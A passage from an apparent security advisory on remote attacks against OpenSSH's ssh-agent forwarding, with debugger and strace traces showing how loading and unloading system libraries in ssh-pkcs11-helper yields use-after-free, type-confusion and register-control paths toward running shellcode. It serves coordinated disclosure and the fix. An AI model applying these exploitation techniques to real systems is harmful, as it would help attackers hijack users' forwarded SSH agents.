the replacement code (gadget) is executed instead at line 66289, and
jumps to the stack at line 66293 (ssh-pkcs11-helper segfaults here
because we did not make the stack executable):

Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628979
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007fff5000d9d0 in ?? ()
```

```
(gdb) !grep stack /proc/3628979/maps
7fff4fff3000-7fff50014000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
66254      0x00007f9ae7d82df4:  call   0x7f9ae7d70180 <gcry_mpi_new@plt>
66255      0x00007f9ae7d70180 <gcry_mpi_new@plt+0>:     endbr64
66256      0x00007f9ae7d70184 <gcry_mpi_new@plt+4>:     bnd jmp *0x7aa9d(%rip)        #
0x7f9ae7deac28 <gcry_mpi_new@got.plt>
66257      0x00007f9af801bbe0 <gcry_mpi_new+0>: endbr64
66258      0x00007f9af801bbe4 <gcry_mpi_new+4>: push   %r12
66259      0x00007f9af801bbe6 <gcry_mpi_new+6>: push   %rbx
66260      0x00007f9af801bbe7 <gcry_mpi_new+7>: lea    0x3f(%rdi),%ebx
66261      0x00007f9af801bbea <gcry_mpi_new+10>:        mov    $0x18,%edi
66262      0x00007f9af801bbef <gcry_mpi_new+15>:        shr    $0x6,%ebx
66263      0x00007f9af801bbf2 <gcry_mpi_new+18>:        sub    $0x8,%rsp
66264      0x00007f9af801bbf6 <gcry_mpi_new+22>:        call   0x7f9af801bb40
66265      0x00007f9af801bb40:  endbr64
...
66285      0x00007f9af809cc60:  mov    0xa8311(%rip),%rax        # 0x7f9af8144f78
66286      0x00007f9af809cc67:  test   %rax,%rax
66287      0x00007f9af809cc6a:  jne    0x7f9af809cc44
66288      0x00007f9af809cc44:  call   *%rax

66289      0x00007f9afc27edc0:  cmp    %eax,%ebx
66290      0x00007f9afc27edc2:  jne    0x7f9afc27f150
66291      0x00007f9afc27f150:  mov    %r14,%rsi
66292      0x00007f9afc27f153:  mov    %r13,%rdi
66293      0x00007f9afc27f156:  call   *%rbx
```

---

In the following example, the unmapped callback function is called at line 87352, the replacement code (gadget) is executed instead at line 87353, and jumps to the stack at line 87354:

```
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628993
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffe4fc16d10 in ?? ()

(gdb) !grep stack /proc/3628993/maps
7ffe4fbfc000-7ffe4fc1d000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
87347      0x00007f35f8972d26 <_ZN7QObjectC2ER14QObjectPrivatePS_+182>: lea
0x26acd3(%rip),%rax        # 0x7f35f8bdda00 <qtHookData>
87348      0x00007f35f8972d2d <_ZN7QObjectC2ER14QObjectPrivatePS_+189>: mov
0x18(%rax),%rax
87349      0x00007f35f8972d31 <_ZN7QObjectC2ER14QObjectPrivatePS_+193>: test   %rax,%rax
87350      0x00007f35f8972d34 <_ZN7QObjectC2ER14QObjectPrivatePS_+196>: jne
0x7f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>
87351      0x00007f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>: mov    %rbx,%rdi
87352      0x00007f35f8972d8b <_ZN7QObjectC2ER14QObjectPrivatePS_+283>: call   *%rax

87353      0x00007f35fa445130
<_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+80>:     pop    %rbp
87354      0x00007f35fa445131
<_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+81>:     ret
```

---

Note: several shared libraries that are installed by default on Ubuntu Desktop (for example, gkm-*-store-standalone.so) do not have constructor or destructor functions, but they are actual PKCS#11 providers, so some of their functions are explicitly called by ssh-pkcs11-helper, and these functions register a callback function with libgcrypt.so but they do not deregister it when dlclose()d (i.e., when munmap()ed), thus exhibiting the "Callback function use-after-free" behavior presented in this subsection.

In the following example, one of libgcrypt.so's functions is called at line 79114, the unmapped callback function is called at line 79143, the replacement code (gadget) is executed instead at line 79144, and jumps to the stack at line 79157:

```
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3629085
...
(gdb) record btrace
(gdb) continue
Continuing.

Thread 1 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.
0x00007fffb2735c48 in ?? ()

(gdb) !grep stack /proc/3629085/maps
7fffb2716000-7fffb2737000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
79114      0x00007f8328147e3a:  call   0x7f8328135500 <gcry_mpi_scan@plt>
79115      0x00007f8328135500 <gcry_mpi_scan@plt+0>:    endbr64
79116      0x00007f8328135504 <gcry_mpi_scan@plt+4>:    bnd jmp *0x7a8dd(%rip)        #
0x7f83281afde8 <gcry_mpi_scan@got.plt>
79117      0x00007f832e2b1220 <gcry_mpi_scan+0>:        endbr64
79118      0x00007f832e2b1224 <gcry_mpi_scan+4>:        sub    $0x8,%rsp
79119      0x00007f832e2b1228 <gcry_mpi_scan+8>:        call   0x7f832e32fbb0
79120      0x00007f832e32fbb0:  endbr64
...
79140      0x00007f832e2b436e:  mov    0x129dc3(%rip),%rax        # 0x7f832e3de138
79141      0x00007f832e2b4375:  test   %rax,%rax
79142      0x00007f832e2b4378:  je     0x7f832e2b43b0
79143      0x00007f832e2b437a:  jmp    *%rax

79144      0x00007f832ed274f0:  and    $0x20,%al
79145      0x00007f832ed274f2:  mov    %rax,0x50(%rsp)
79146      0x00007f832ed274f7:  mov    0x30(%rsp),%r13d
79147      0x00007f832ed274fc:  mov    0x58(%rsp),%r15
79148      0x00007f832ed27501:  mov    %ebx,%ebp
79149      0x00007f832ed27503:  mov    %r8d,%edx
79150      0x00007f832ed27506:  mov    0x50(%rsp),%rsi
79151      0x00007f832ed2750b:  mov    0x28(%rsp),%r14
79152      0x00007f832ed27510:  movslq 0x38(%r12),%rax
79153      0x00007f832ed27515:  sub    $0x8000,%ebp
79154      0x00007f832ed2751b:  mov    0x54(%r12),%ecx
79155      0x00007f832ed27520:  add    %rax,%r14
79156      0x00007f832ed27523:  mov    %r14,%rdi
79157      0x00007f832ed27526:  call   *%r15
```

==========

Return from syscall use-after-free

==========

While analyzing the strace logs of the dlopen() and dlclose() of every shared library in /usr/lib*, we spotted an unusual SIGSEGV:

- a shared library is loaded, and its constructor function starts a thread that sleeps for 10 seconds in kernel-land:

```
-------------------------------------------------------------------------
3631347 openat(AT_FDCWD, "/usr/lib/x86_64-linux-
gnu/cmpi/libcmpiOSBase_ProcessorProvider.so", O_RDONLY|O_CLOEXEC) = 3
...
3631347 mmap(NULL, 33296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5f3c3fb000
3631347 mmap(0x7f5f3c3fd000, 12288, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f5f3c3fd000
3631347 mmap(0x7f5f3c400000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
0x5000) = 0x7f5f3c400000
3631347 mmap(0x7f5f3c402000, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f5f3c402000
3631347 close(3)                        = 0
...
3631347
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE
_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f5f3bd70910,
parent_tid=0x7f5f3bd70910, exit_signal=0, stack=0x7f5f3b570000, stack_size=0x7fff00,
tls=0x7f5f3bd70640} => {parent_tid=[3631372]}, 88) = 3631372
...
3631372 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=10, tv_nsec=0},  <unfinished ...>
-------------------------------------------------------------------------
```

- meanwhile, the main thread (ssh-pkcs11-helper) unloads this shared
  library (because it is not an actual PKCS#11 provider) and therefore
  munmap()s the code where the sleeping thread should return to after
  its sleep in kernel-land:

```
-------------------------------------------------------------------------
3631347 socket(AF_UNIX, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3
3631347 connect(3, {sa_family=AF_UNIX, sun_path="/dev/log"}, 110) = 0
3631347 sendto(3, "<35>Jun 22 18:35:25 ssh-pkcs11-helper[3631347]: error:
dlsym(C_GetFunctionList) failed: /usr/lib/x86_64-linux-
gnu/cmpi/libcmpiOSBase_ProcessorProvider.so: undefined symbol: C_GetFunctionList", 190,
MSG_NOSIGNAL, NULL, 0) = 190
3631347 close(3)                        = 0
3631347 munmap(0x7f5f3c3fb000, 33296)   = 0
-------------------------------------------------------------------------
```

- the sleeping thread returns from kernel-land and crashes with a
  SIGSEGV because its userland code (at 0x7f5f3c3fecff) was unmapped:

```
-------------------------------------------------------------------------
3631372 <... clock_nanosleep resumed>0x7f5f3bd6fde0) = 0
3631372 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7f5f3c3fecff} ---
-------------------------------------------------------------------------
```

Of course, we can request ssh-pkcs11-helper to load (mmap()) a
"nodelete" library before the sleeping thread returns from kernel-land,
thus replacing the unmapped userland code with another piece of code (a
hopefully useful gadget). In the following example, the sleeping thread
returns from kernel-land after line 214, executes the replacement code
(gadget) at line 256, and jumps to the stack at line 1305:

```
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3631531
...
(gdb) record btrace
(gdb) continue
Continuing.
...
Thread 2 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f4603960640 (LWP 3631561)]
0x00007ffe2196f180 in ?? ()

(gdb) !grep stack /proc/3631531/maps
7ffe21955000-7ffe21976000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size unlimited
(gdb) record instruction-history
...
```

```
214        0x00007f4604b71866 <__GI___clock_nanosleep+198>:     syscall
...
240        0x00007f4604b71831 <__GI___clock_nanosleep+145>:     ret
...
244        0x00007f4604b766ef <__GI___nanosleep+31>:    ret
...
255        0x00007f4604b7663d <__sleep+93>:     ret

256        0x00007f46050fecff:  jmp    0x7f4604662e54 <__ieee754_j1f128+2276>
257        0x00007f4604662e54 <__ieee754_j1f128+2276>:  movq   0x60(%rsp),%mm3
...
1304       0x00007f460466285b <__ieee754_j1f128+747>:   add    $0xc8,%rsp
1305       0x00007f4604662862 <__ieee754_j1f128+754>:   ret
```

## Sigaltstack use-after-free

From time to time, we noticed the following warning in the dmesg of our fuzzing laptop:

```
[585902.691238] signal: ssh-pkcs11-help[1663008] overflowed sigaltstack
```

On investigation, we discovered that at least one shared library (libgnatcoll_postgres.so) calls sigaltstack() to register an alternate signal stack (used by SA_ONSTACK signal handlers) when dlopen()ed, and then munmap()s this signal stack without deregistering it (SS_DISABLE) when dlclose()d. Consequently, we implemented and tested a different attack idea:

- we randomly load zero or more shared libraries that permanently alter the mmap layout;
- we load libgnatcoll_postgres.so, which registers an alternate signal stack and then munmap()s it without deregistering it;
- we randomly load zero or more shared libraries that alter the mmap layout (again), and hopefully replace the unmapped signal stack with another writable memory mapping (for example, a thread stack, or a .data or .bss segment);
- we randomly load one shared library that registers an SA_ONSTACK signal handler but does not munmap() its code when dlclose()d (unlike our original "Signal handler use-after-free" attack);
- we randomly load one shared library that raises this signal and therefore calls the SA_ONSTACK signal handler, thus overwriting the replacement memory mapping with stack frames from the signal handler;
- we randomly load one or more shared libraries that hopefully use the overwritten contents of the replacement memory mapping.

Although we successfully found various combinations of shared libraries that overwrite a .data or .bss segment with a stack frame from a signal handler, we failed to overwrite a useful memory mapping with useful data (e.g., we failed to magically jump to the stack); for this attack to work, more research and a finer-grained approach might be required.

## Sigreturn to arbitrary instruction pointer

Astonishingly, numerous combinations of shared libraries crash because they try to execute code at 0xcccccccccccccccc: a direct control of the instruction pointer (RIP), because these 0xcc bytes come from the stack

buffer of ssh-pkcs11-helper that we (remote attackers) filled with 0xcc
bytes.

Initially, we got very excited by this new attack vector, because we
thought that a gadget of the form "add rsp, N; ret" was executed, thus
moving the stack pointer (RSP) into our 0xcc-filled stack buffer and
popping RIP from there. Unfortunately, the reality is more complex:

- a shared library raises a signal (a SIGSEGV in the example below, at
  line 134110) and, in consequence of a "Signal handler use-after-free",
  a replacement gadget of the form "ret N" is executed instead of the
  signal handler (at line 134111);

- exactly as the real signal handler would, the replacement gadget
  returns to the glibc's restore_rt() function (at line 134112), which
  in turn calls the kernel's rt_sigreturn() function (at line 134113);

- however, before the kernel's rt_sigreturn() function is called, the
  replacement gadget "ret N" moves RSP into our 0xcc-filled stack buffer
  and as a result, the kernel's rt_sigreturn() function restores all
  userland registers (including RIP and RSP) from there;

```
------------------------------------------------------------------------
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3633914
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007fcd468671b1 in xtables_register_target () from /lib/x86_64-linux-
gnu/libxtables.so.12

(gdb) x/i 0x00007fcd468671b1
=> 0x7fcd468671b1 <xtables_register_target+209>:        movzbl 0x18(%rax),%eax

(gdb) info registers
rax            0x0                 0
...

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xcccccccccccccccc in ?? ()

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
134106     0x00007fcd4686719e <xtables_register_target+190>:    mov    0x6e1b(%rip),%rax
# 0x7fcd4686dfc0
134107     0x00007fcd468671a5 <xtables_register_target+197>:    movzwl 0x22(%rbx),%edx
134108     0x00007fcd468671a9 <xtables_register_target+201>:    mov    (%rax),%rax
134109     0x00007fcd468671ac <xtables_register_target+204>:    mov    %dx,0x6(%rsp)
134110  [disabled]
134111     0x00007fcd48e434a0:  ret    $0x1f0f
134112     0x00007fcd49655520 <__restore_rt+0>: mov    $0xf,%rax
134113     0x00007fcd49655527 <__restore_rt+7>: syscall

(gdb) info registers
rax            0x0                 0
rbx            0xcccccccccccccccc  -3689348814741910324
rcx            0xcccccccccccccccc  -3689348814741910324
rdx            0xcccccccccccccccc  -3689348814741910324
rsi            0xcccccccccccccccc  -3689348814741910324
rdi            0xcccccccccccccccc  -3689348814741910324
rbp            0xcccccccccccccccc  0xcccccccccccccccc
rsp            0xcccccccccccccccc  0xcccccccccccccccc
r8             0xcccccccccccccccc  -3689348814741910324
```

```
r9             0xcccccccccccccccc  -3689348814741910324
r10            0xcccccccccccccccc  -3689348814741910324
r11            0xcccccccccccccccc  -3689348814741910324
r12            0xcccccccccccccccc  -3689348814741910324
r13            0xcccccccccccccccc  -3689348814741910324
r14            0xcccccccccccccccc  -3689348814741910324
r15            0xcccccccccccccccc  -3689348814741910324
rip            0xcccccccccccccccc  0xcccccccccccccccc
-------------------------------------------------------------------------
```

Although we directly control all of the userland registers, we failed to transform this attack vector into a one-shot remote exploit, because RSP (which was conveniently pointing into our 0xcc-filled stack buffer) gets overwritten, and because we were unable to leak any information from ssh-pkcs11-helper (to defeat ASLR).

Partially overwriting a pointer that is left over in ssh-pkcs11-helper's stack buffer, and that is later used by rt_sigreturn() to restore a userland register, might be an interesting idea that we have not explored yet.

## _Unwind_Context type-confusion

This attack vector was the most puzzling of our discoveries: from time to time, some combinations of shared libraries jumped to the stack, but evidently not as a result of a signal handler, callback function, or return from syscall use-after-free. Eventually, we determined the sequence of events that led to these stack jumps:

- some shared libraries load LLVM's libunwind.so as a "nodelete" library (i.e., it is never unloaded, even after dlclose());

- some shared libraries throw a C++ exception, which loads GCC's libgcc_s.so and calls the _Unwind_GetCFA() function (at line 57295 in the example below);

- however, GCC's libgcc_s.so mistakenly calls LLVM's _Unwind_GetCFA() (at line 57298) instead of GCC's _Unwind_GetCFA() (because LLVM's libunwind.so was loaded first), and passes a pointer to GCC's struct _Unwind_Context to this function (instead of a pointer to LLVM's struct _Unwind_Context, which is a different type of structure);

- LLVM's _Unwind_GetCFA() then calls its unw_get_reg() function (at line 57303), which in turn calls a function pointer (at line 57311) that is a member of LLVM's struct _Unwind_Context, but that happens to be a stack pointer in GCC's struct _Unwind_Context;

```
-------------------------------------------------------------------------
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3635541
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffcf5e9be10 in ?? ()

(gdb) !grep stack /proc/3635541/maps
7ffcf5e82000-7ffcf5ea3000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
57295      0x00007f7c8eaaccf1:  call   0x7f7c8ea99470 <_Unwind_GetCFA@plt>

57296      0x00007f7c8ea99470 <_Unwind_GetCFA@plt+0>:   endbr64
```

```
57297      0x00007f7c8ea99474 <_Unwind_GetCFA@plt+4>:   bnd jmp *0x1bc2d(%rip)        #
0x7f7c8eab50a8 <_Unwind_GetCFA@got.plt>

57298      0x00007f7c8edce920 <_Unwind_GetCFA+0>:       sub    $0x18,%rsp
57299      0x00007f7c8edce924 <_Unwind_GetCFA+4>:       mov    %fs:0x28,%rax
57300      0x00007f7c8edce92d <_Unwind_GetCFA+13>:      mov    %rax,0x10(%rsp)
57301      0x00007f7c8edce932 <_Unwind_GetCFA+18>:      lea    0x8(%rsp),%rdx
57302      0x00007f7c8edce937 <_Unwind_GetCFA+23>:      mov    $0xfffffffe,%esi
57303      0x00007f7c8edce93c <_Unwind_GetCFA+28>:      call   0x7f7c8edca6b0
<unw_get_reg>

57304      0x00007f7c8edca6b0 <unw_get_reg+0>:  push   %rbp
57305      0x00007f7c8edca6b1 <unw_get_reg+1>:  push   %r14
57306      0x00007f7c8edca6b3 <unw_get_reg+3>:  push   %rbx
57307      0x00007f7c8edca6b4 <unw_get_reg+4>:  mov    %rdx,%r14
57308      0x00007f7c8edca6b7 <unw_get_reg+7>:  mov    %esi,%ebp
57309      0x00007f7c8edca6b9 <unw_get_reg+9>:  mov    %rdi,%rbx
57310      0x00007f7c8edca6bc <unw_get_reg+12>: mov    (%rdi),%rax
57311      0x00007f7c8edca6bf <unw_get_reg+15>: call   *0x10(%rax)

(gdb) !grep 7f7c8ea /proc/3635541/maps
7f7c8ea99000-7f7c8eab0000 r-xp 00003000 08:03 8788336                    /usr/lib/x86_64-
linux-gnu/libgcc_s.so.1

(gdb) !grep 7f7c8ed /proc/3635541/maps
7f7c8edc9000-7f7c8edd1000 r-xp 00000000 08:03 11148811                   /usr/lib/llvm-
14/lib/libunwind.so.1.0
```

---

## RCE in library constructor

As a last and extreme example of a remote attack against ssh-agent forwarding, we noticed that one shared library's constructor function (which can be invoked by a remote attacker via an ssh-agent forwarding) starts a server thread that listens on a TCP port, and we discovered a remotely exploitable vulnerability (a heap-based buffer overflow) in this server's implementation.

The unusual malloc exploitation technique that we used to remotely exploit this vulnerability is so interesting (it is reliable, one-shot, and works against the latest glibc versions, despite all the modern protections) that we decided to publish it in a separate advisory:

    https://www.qualys.com/2023/06/06/renderdoc/renderdoc.txt

This last and extreme attack vector against ssh-agent also underlines the central point of this advisory: many shared libraries are simply not safe to be loaded (and unloaded) in a security-sensitive program such as ssh-agent.

## Discussion

We believe that we have not exploited the full potential of this "dlopen() then dlclose()" primitive:

- we have only investigated Ubuntu Desktop 22.04 and 21.10, but other versions, distributions, or operating systems might be hiding further surprises;

- our rudimentary fuzzer can certainly be greatly improved, and has definitely not tried all the combinations of shared libraries and side effects;

- we have identified seven attack vectors against ssh-agent (described in the "Results" section), but we have not analyzed in detail all the results of our fuzzer;

- we have not fully explored various aspects of these attack vectors:

  - it might be possible to reliably exploit the "Sigaltstack use-after-free" (by carefully overwriting the .data or .bss segment of a shared library) or the "Sigreturn to arbitrary instruction pointer" (by partially overwriting a leftover pointer in ssh-pkcs11-helper's stack);

  - we currently store our shellcode in ssh-pkcs11-helper's main() stack buffer only, but it might be possible to store shellcode in other stack buffers as well, or somehow spray the stack with shellcode, which would dramatically increase our chances of jumping into our shellcode;

    for example, we tried to spray the stack with shellcode by interrupting a memcpy() of controlled data with a signal handler, thereby spilling controlled YMM registers to the stack (inspired by https://bugs.chromium.org/p/project-zero/issues/detail?id=2266), but we failed because we can memcpy() only ~10KB of data, and because we cannot remotely use tricks such as inotify or sched*() to precisely time this race;

  - it might be possible to control the mmap layout of ssh-pkcs11-helper with page precision (which would allow us to precisely control the gadget that replaces the unmapped signal handler, callback function, or return from syscall), but we failed to find large malloc()ations (which are mmap()ed) in ssh-pkcs11-helper (the only way we found to influence the mmap layout is to load and unload shared libraries, as mentioned in Step 4a/ of the "Experiments" section);

  - instead of replacing the unmapped signal handler or callback function (or return from syscall) with a gadget from another shared library, it is perfectly possible to replace it with an executable thread stack (made executable by loading an "execstack" library), but we have failed so far to control the contents of such a thread stack.

## Acknowledgments

We thank the OpenSSH developers, and Damien Miller in particular, for their outstanding work on this vulnerability and on OpenSSH in general. We also thank Mitre's CVE Assignment Team for their quick response. Finally, we dedicate this advisory to the Midnight Fox.

## Timeline

2023-07-06: We sent a draft of our advisory and a preliminary patch to the OpenSSH developers.

2023-07-07: The OpenSSH developers replied and sent us a more complete set of patches.

2023-07-09: We sent feedback about these patches to the OpenSSH developers.

2023-07-11: The OpenSSH developers sent us a complete set of patches, and we sent them feedback about these patches.

2023-07-14: The OpenSSH developers informed us that "we're aiming to

make a security-only release ... on July 19th."

2023-07-19: Coordinated release.